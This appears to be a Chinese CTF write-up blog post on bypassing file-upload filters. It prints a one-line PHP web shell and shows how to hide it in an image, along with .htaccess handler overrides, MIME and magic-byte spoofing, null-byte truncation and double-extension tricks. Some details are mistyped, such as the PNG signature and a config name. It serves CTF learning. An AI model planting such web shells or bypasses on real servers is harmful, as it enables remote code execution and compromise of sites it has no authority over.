当前位置:网站首页>ctf技能树----文件上传
ctf技能树----文件上传
2022-07-28 10:28:00 【jjj34】
前置工具:中国蚁剑
1.正常的一句话木马
<?php
eval($_POST["pass"]);
2.图片马
通过copy进行合成
copy name1.png/b+name2.php/a name3.php
name1 为图片的名字
/b表示二进制文件
name2 为一句话木马文件
/a表示ASCII码文件
name3为合成后的图片名字
上传时需要通过burp_suite修改下Content-Type : image/png
3.禁用JavaScript
在设置中,搜索JavaScript后禁用掉

4.MIME绕过
通过burp_suite修改文件的类型

5.文件头检测
通过burp_suite修改文件头部的标识符,让防火墙误以为是图片

89 50 4E 47即为图片的标识码
6.添加GIF89a绕过

原理就是让防火墙误以为这个是图片
GIF GIF 89A
JPEG(JPG) FFD*FF
PNG 89504E87
小技巧:找到加的位置:在<?php 前放四个+号,然后取Hex中修改

7. 通过.htaccess绕过
构造.htaccess文件
1.匹配文件名当作php执行
<FilesMatch "asdf">
SetHandler application/x-httpd-php
</FilesMatch>2.将png当作php执行(不太好使)
AddType aoolication/x-httpd-php .png8.00截断
发生截断的两个条件:
php< 5.3.4
magic_quotes_gnc = off
题目描述:上传后题目没有返回文件名
说明这道题涉及到重命名的问题,因此,加入截断字符,打断重命名
解法:
1.上传图片马
2.在url栏截断,不让系统重命名

3.访问:
![]()
蚁剑连接:
http://challenge-98be3014d8744500.sandbox.ctfhub.com:10800/upload/1.php9.双写绕过
后缀名写两次,让它删
如.pphphphpp 拆开看:p(php)h(php)p
10.修改文件名解析

看图,源码提示会将文件以python来解析并且只接受后缀名为 .jpg和.png的文件,因此我们调用python中的os库,来执行远程代码执行命令

将文件的后缀名修改下变为 11.png

成功拿到flag
边栏推荐
猜你喜欢

哈希表的相关知识点

5. Implement MapReduce program on window side to complete wordcount function

ACM winter vacation training 5

蓝桥杯嵌入式-HAL库-ADC

Machine learning -- handwritten English alphabet 3 -- engineering features

SDUT Round #9 2020-新春大作战
![Implement a queue with two stacks [C language]](/img/8a/679575bb0a562eff7e4317e64b4790.png)
Implement a queue with two stacks [C language]

SQL Server 2016 learning records - single table query

QT generation Exe file and run without QT environment (enigma virtual box for green executable software packaging) graphic tutorial

SemEval 2022 | 将知识引入NER系统,阿里达摩院获最佳论文奖
随机推荐
粒子群实现最优解的求解
SDUT Round #9 2020-新春大作战
AP AUTOSAR platform design 3 architecture
Qt生成.exe文件 并 在无Qt环境下运行(Enigma Virtual Box进行绿色可执行软件封装)图文教程
Judge whether the nixie tube is a common anode or a common cathode
GKCylindersNoiseSource
Tensorflow knowledge points
GKRandomSource
Aike AI frontier promotion (7.28)
Machine learning -- handwritten English alphabet 1 -- classification process
GKVoronoiNoiseSource
安装office自定义项 安装期间出错 解决办法
11_ue4进阶_男性角色换成女性角色,并修改动画
SQL Server 2016 learning records - set query
2020 second intelligence cup preliminaries
markdown转成word或者pdf
非关系型数据库MongoDB的特点及安装
Tensorflow 知识点
GKObstacle
GKSpheresNoiseSource